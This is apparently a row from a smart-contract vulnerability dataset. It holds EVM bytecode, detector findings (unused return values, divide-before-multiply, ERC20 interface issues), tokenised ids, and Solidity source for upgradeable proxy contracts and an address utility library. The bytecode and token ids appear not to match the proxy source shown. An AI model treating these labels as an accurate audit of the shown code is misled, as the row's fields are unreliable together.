9b60e11b8152644554482d4160d81b600482015290519295506001600160a01b039091169163d9638d369160248082019260a092909190829003018186803b1580156114e757600080fd5b505afa1580156114fb573d6000803e3d6000fd5b505050506040513d60a081101561151157600080fd5b50602001519150611531676765c793fa10079d601b1b610b498585612298565b935050505090565b600c546001600160a01b03163314611586576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600b5481565b6005546001600160a01b031681565b600d546000906001600160a01b0316331461160d576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b611615612fff565b604080516370a0823160e01b8152306004820152905161169c91736b175474e89094c44da98b954eedeac495271d0f916370a0823191602480820192602092909190829003018186803b15801561166b57600080fd5b505afa15801561167f573d6000803e3d6000fd5b505050506040513d602081101561169557600080fd5b5051612da7565b604080516370a0823160e01b815230600482015290516000805160206138ed833981519152916370a08231916024808301926020929190829003018186803b1580156116e757600080fd5b505afa1580156116fb573d6000803e3d6000fd5b505050506040513d602081101561171157600080fd5b5051600d5460408051632988bb9f60e21b81526000805160206138ed833981519152600482015290519293506000926001600160a01b039092169163a622ee7c91602480820192602092909190829003018186803b15801561177257600080fd5b505afa158015611786573d6000803e3d6000fd5b505050506040513d602081101561179c57600080fd5b505190506001600160a01b0381166117e4576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b6117fd6000805160206138ed83398151915282846127a6565b5090565b60095481565b600a5481565b600c546001600160a01b0316331461185a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6003546001600160a01b031681565b600c546001600160a01b031633146118e7576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b03163314611956576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600a55565b600c546001600160a01b031633146119a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600855565b604080516370a0823160e01b815230600482015290516000916000805160206138ed833981519152916370a0823191602480820192602092909190829003018186803b1580156119fc57600080fd5b505afa158015611a10573d6000803e3d6000fd5b505050506040513d6020811015611a2657600080fd5b5051905090565b600080600080611a3b61137d565b905080611a4f57600019935050505061120b565b60015460408051636cb1c69b60e11b8152644554482d4160d81b600482015290516001600160a01b039092169163d9638d369160248082019260a092909190829003018186803b158015611aa257600080fd5b505afa158015611ab6573d6000803e3d6000fd5b505050506040513d60a0811015611acc57600080fd5b50604090810151600480548351636cb1c69b60e11b8152644554482d4160d81b9281019290925283519296506001600160a01b03169263d9638d3692602480840193829003018186803b158015611b2257600080fd5b505afa158015611b36573d6000803e3d6000fd5b505050506040513d6040811015611b4c57600080fd5b506020015191506000611b6e676765c793fa10079d601b1b610b498686612298565b90506000611b7a611be1565b905086811015611b8c57506000611b99565b611b96818861265f565b90505b6000611bb1670de0b6b3a7640000610b498486612298565b9050611bc36103e8610b498387612764565b98975050505050505050565b60075481565b644554482d4160d81b81565b6000805460105460408051632726b07360e01b8152600481019290925251839283926001600160a01b0390911691632726b07391602480820192602092909190829003018186803b158015611c3557600080fd5b505afa158015611c49573d6000803e3d6000fd5b505050506040513d6020811015611c5f57600080fd5b5051600154604080516309092f9760e21b8152644554482d4160d81b60048201526001600160a01b038085166024830152825194955090921692632424be5c926044808201939291829003018186803b158015611cbb57600080fd5b505afa158015611ccf573d6000803e3d6000fd5b505050506040513d6040811015611ce557600080fd5b50519250505090565b600c546001600160a01b03163314611d3b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b604080516370a0823160e01b815230600482015290516000916000805160206138ed833981519152916370a0823191602480820192602092909190829003018186803b158015611dbb57600080fd5b505afa158015611dcf573d6000803e3d6000fd5b505050506040513d6020811015611de557600080fd5b505190508015610876576000611df9612f02565b90506000611e28670de0b6b3a7640000610b49600754610b496127106107d4888a61229890919063ffffffff16565b9050611e3381613088565b611e84576040805162461bcd60e51b815260206004820152601860248201527f64656274206365696c696e672069732072656163686564210000000000000000604482015290519081900360640190fd5b611e8e83826122fa565b505073163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b031663de5f62686040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108c557600080fd5b600080611ef8606460075461229890919063ffffffff16565b90506000611f066000611a2d565b9050611f186064610b49836069612298565b9050818110156112f3576000611f2c61137d565b90506000611f3a848461265f565b9050611f4a84610b498484612298565b945050505050610804565b600c546001600160a01b03163314611fa2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038716908117909155604080516336569e7760e01b815290516336569e7791600480820192602092909190829003018186803b158015611ff657600080fd5b505afa15801561200a573d6000803e3d6000fd5b505050506040513d602081101561202057600080fd5b5051600180546001600160a01b03199081166001600160a01b039384161790915560028054821696831696909617909555600380548616948216949094179093556004805485169284169290921790915560058054909316911617905550565b60085481565b73163d457fa8247f1a9279b9fa8ef513de116e432781565b6000806120b7606460075461229890919063ffffffff16565b905060006120c56000611a2d565b90506120d76064610b49836069612298565b9190911091505090565b6000611378670de0b6b3a7640000610b4973163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b0316633a06703c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561213f57600080fd5b505afa158015612153573d6000803e3d6000fd5b505050506040513d602081101561216957600080fd5b5051604080516370a0823160e01b8152306004820152905173163d457fa8247f1a9279b9fa8ef513de116e4327916370a08231916024808301926020929190829003018186803b1580156121bc57600080fd5b505afa1580156121d0573d6000803e3d6000fd5b505050506040513d60208110156121e657600080fd5b505190612298565b736b175474e89094c44da98b954eedeac495271d0f81565b600d546001600160a01b031681565b600c546001600160a01b03163314806122385750600e546001600160a01b031633145b8061224d5750600f546001600160a01b031633145b61228c576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b6108de610d06826127fd565b6000826122a7575060006122f4565b828202828482816122b457fe5b04146122f15760405162461bcd60e51b815260040180806020018281038252602181526020018061390d6021913960400191505060405180910390fd5b90505b92915050565b6000805460105460408051632726b07360e01b81526004810192909252516001600160a01b0390921691632726b07391602480820192602092909190829003018186803b15801561234a57600080fd5b505afa15801561235e573d6000803e3d6000fd5b505050506040513d602081101561237457600080fd5b505160025460408051633b4da69f60e01b81526001600160a01b038085166004830152602482018890529151939450911691633b4da69f9160448082019260009290919082900301818387803b1580156123cd57600080fd5b505af11580156123e1573d6000803e3d6000fd5b50506000546010546001600160a01b0390911692506345e6bdcd915061240686613152565b6124108587613198565b6040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561245457600080fd5b505af1158015612468573d6000803e3d6000fd5b50506000546010546001600160a01b03909116925063f9f30db691503061249a86676765c793fa10079d601b1b612298565b6040518463ffffffff1660e01b815260040180848152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b1580156124e757600080fd5b505af11580156124fb573d6000803e3d6000fd5b505060015460035460408051634538c4eb60e01b81523060048201526001600160a01b0392831660248201529051919092169350634538c4eb92506044808301926020929190829003018186803b15801561255557600080fd5b505afa158015612569573d6000803e3d6000fd5b505050506040513d602081101561257f57600080fd5b50516125ef57600154600354604080516328ec8bf160e21b81526001600160a01b0392831660048201529051919092169163a3b22fc491602480830192600092919082900301818387803b1580156125d657600080fd5b505af11580156125ea573d6000803e3d6000fd5b505050505b6003546040805163ef693bed60e01b81523060048201526024810185905290516001600160a01b039092169163ef693bed9160448082019260009290919082900301818387803b15801561264257600080fd5b505af1158015612656573d6000803e3d6000fd5b50505050505050565b60006122f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613321565b60006126ab61137d565b158015906126cd57506008546126c2906064612298565b6126cb83611a2d565b105b156127015760006126dc612f02565b90506126ff610d066126fa670de0b6b3a7640000610b498786612298565b6127fd565b505b6117fd826133b8565b6000828201838110156122f1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006122f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134ff565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526127f8908490613564565b505050565b6000806128ae61281a600a5461271061265f90919063ffffffff16565b610b496127106107d473163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b0316633a06703c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561287057600080fd5b505afa158015612884573d6000803e3d6000fd5b505050506040513d602081101561289a57600080fd5b5051610b4989670de0b6b3a7640000612298565b604080516370a0823160e01b8152306004820152905191925073163d457fa8247f1a9279b9fa8ef513de116e4327916370a0823191602480820192602092909190829003018186803b15801561290357600080fd5b505afa158015612917573d6000803e3d6000fd5b505050506040513d602081101561292d57600080fd5b50518111156129b657604080516370a0823160e01b8152306004820152905173163d457fa8247f1a9279b9fa8ef513de116e4327916370a08231916024808301926020929190829003018186803b15801561298757600080fd5b505afa15801561299b573d6000803e3d6000fd5b505050506040513d60208110156129b157600080fd5b505190505b604080516370a0823160e01b81523060048201529051600091736b175474e89094c44da98b954eedeac495271d0f916370a0823191602480820192602092909190829003018186803b158015612a0b57600080fd5b505afa158015612a1f573d6000803e3d6000fd5b505050506040513d6020811015612a3557600080fd5b505160408051632e1a7d4d60e01b815260048101859052905191925073163d457fa8247f1a9279b9fa8ef513de116e432791632e1a7d4d9160248082019260009290919082900301818387803b158015612a8e57600080fd5b505af1158015612aa2573d6000803e3d6000fd5b5050604080516370a0823160e01b8152306004820152905160009350736b175474e89094c44da98b954eedeac495271d0f92506370a0823191602480820192602092909190829003018186803b158015612afb57600080fd5b505afa158015612b0f573d6000803e3d6000fd5b505050506040513d6020811015612b2557600080fd5b50519050612b33818361265f565b95945050505050565b6000805460105460408051632726b07360e01b81526004810192909252516001600160a01b0390921691632726b07391602480820192602092909190829003018186803b158015612b8c57600080fd5b505afa158015612ba0573d6000803e3d6000fd5b505050506040513d6020811015612bb657600080fd5b505160035460408051633b4da69f60e01b81526001600160a01b038085166004830152602482018790529151939450911691633b4da69f9160448082019260009290919082900301818387803b158015612c0f57600080fd5b505af1158015612c23573d6000803e3d6000fd5b50506000805460105460015460408051633612d9a360e11b81526001600160a01b038981166004830152915194821697506345e6bdcd9650929493612cbe939290911691636c25b346916024808301926020929190829003018186803b158015612c8c57600080fd5b505afa158015612ca0573d6000803e3d6000fd5b505050506040513d6020811015612cb657600080fd5b505186613615565b6040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b158015612d0257600080fd5b505af1158015611007573d6000803e3d6000fd5b6000806128ae73163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b0316633a06703c6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d6957600080fd5b505afa158015612d7d573d6000803e3d6000fd5b505050506040513d6020811015612d9357600080fd5b5051610b4985670de0b6b3a7640000612298565b6040805160028082526060808301845292602083019080368337019050509050736b175474e89094c44da98b954eedeac495271d0f81600081518110612de957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506000805160206138ed83398151915281600181518110612e2557fe5b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d6338ed17398360008430612e69426201518061270a565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612ed9578181015183820152602001612ec1565b505050509050019650505050505050600060405180830381600087803b158015612d0257600080fd5b600654604080516315f789a960e21b8152815160009384936001600160a01b03909116926357de26a49260048083019392829003018186803b158015612f4757600080fd5b505afa158015612f5b573d6000803e3d6000fd5b505050506040513d6040811015612f7157600080fd5b5051600654604080516333eb672360e21b815281519394506000936001600160a01b039093169263cfad9c8c92600480840193919291829003018186803b158015612fbb57600080fd5b505afa158015612fcf573d6000803e3d6000fd5b505050506040513d6040811015612fe557600080fd5b50519050818110612ff65781612ff8565b805b9250505090565b73163d457fa8247f1a9279b9fa8ef513de116e43276001600160a01b031663853828b66040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561304e57600080fd5b505af1158015613062573d6000803e3d6000fd5b50505050613076610d06600161137261137d565b613086613081611be1565b6133b8565b565b60015460408051636cb1c69b60e11b8152644554482d4160d81b6004820152905160009283926001600160a01b039091169163d9638d369160248082019260a092909190829003018186803b1580156130e057600080fd5b505afa1580156130f4573d6000803e3d6000fd5b505050506040513d60a081101561310a57600080fd5b50606001519050600061311f8461137261137d565b90508061313783676765c793fa10079d601b1b612764565b10156131485760009250505061120b565b5060019392505050565b80600081121561120b576040805162461bcd60e51b815260206004820152600c60248201526b696e742d6f766572666c6f7760a01b604482015290519081900360640190fd5b6005546040805163089c54b560e31b8152644554482d4160d81b6004820152905160009283926001600160a01b03909116916344e2a5a89160248082019260209290919082900301818787803b1580156131f157600080fd5b505af1158015613205573d6000803e3d6000fd5b505050506040513d602081101561321b57600080fd5b505160015460408051633612d9a360e11b81526001600160a01b03888116600483015291519394506000939190921691636c25b346916024808301926020929190829003018186803b15801561327057600080fd5b505afa158015613284573d6000803e3d6000fd5b505050506040513d602081101561329a57600080fd5b505190506132b384676765c793fa10079d601b1b612298565b811015613319576132e56132e083610b49846132da89676765c793fa10079d601b1b612298565b9061265f565b613152565b92506132fc84676765c793fa10079d601b1b612298565b6133068484612298565b106133115782613316565b826001015b92505b505092915050565b600081848411156133b05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561337557818101518382015260200161335d565b50505050905090810190601f1680156133a25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000546010546001600160a01b03909116906345e6bdcd906133d984613152565b60000360006040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561342257600080fd5b505af1158015613436573d6000803e3d6000fd5b505060008054601054604080516313771f0760e31b8152600481019290925230602483015260448201879052516001600160a01b039092169450639bb8f8389350606480820193929182900301818387803b15801561349457600080fd5b505af11580156134a8573d6000803e3d6000fd5b50506002546040805163ef693bed60e01b81523060048201526024810186905290516001600160a01b03909216935063ef693bed925060448082019260009290919082900301818387803b1580156108c557600080fd5b6000818361354e5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561337557818101518382015260200161335d565b50600083858161355a57fe5b0495945050505050565b60606135b9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166137629092919063ffffffff16565b8051909150156127f8578080602001905160208110156135d857600080fd5b50516127f85760405162461bcd60e51b815260040180806020018281038252602a81526020018061392e602a913960400191505060405180910390fd5b60015460408051636cb1c69b60e11b8152644554482d4160d81b6004820152905160009283926001600160a01b039091169163d9638d369160248082019260a092909190829003018186803b15801561366d57600080fd5b505afa158015613681573d6000803e3d6000fd5b505050506040513d60a081101561369757600080fd5b5060200151600154604080516309092f9760e21b8152644554482d4160d81b60048201526001600160a01b0387811660248301528251949550600094931692632424be5c92604480840193919291829003018186803b1580156136f957600080fd5b505afa15801561370d573d6000803e3d6000fd5b505050506040513d604081101561372357600080fd5b5060200151905061373c82868161373657fe5b04613152565b9250808311156137575761374f81613152565b600003613316565b505060000392915050565b60606137718484600085613779565b949350505050565b6060613784856138e6565b6137d5576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106138145780518252601f1990920191602091820191016137f5565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613876576040519150601f19603f3d011682016040523d82523d6000602084013e61387b565b606091505b5091509150811561388f5791506137719050565b80511561389f5780518082602001fd5b60405162461bcd60e51b815260206004820181815286516024840152865187939192839260440191908501908083836000831561337557818101518382015260200161335d565b3b15159056fe000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122001c222cc54e734dcf597744ffd37eb0a13cdbb731535e288ccfe754cfac4046264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2497, 2509, 6679, 2278, 16086, 26337, 2050, 2692, 22025, 2581, 24594, 2683, 2581, 10790, 11057, 22394, 2546, 19317, 2475, 2063, 11387, 22394, 2050, 2692, 2683, 2063, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,881
0x978b5ed92ce2a6e3a80b5e999724a2fa989ab44f
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './UpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Proxy.sol'; import '@openzeppelin/contracts/utils/Address.sol'; /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
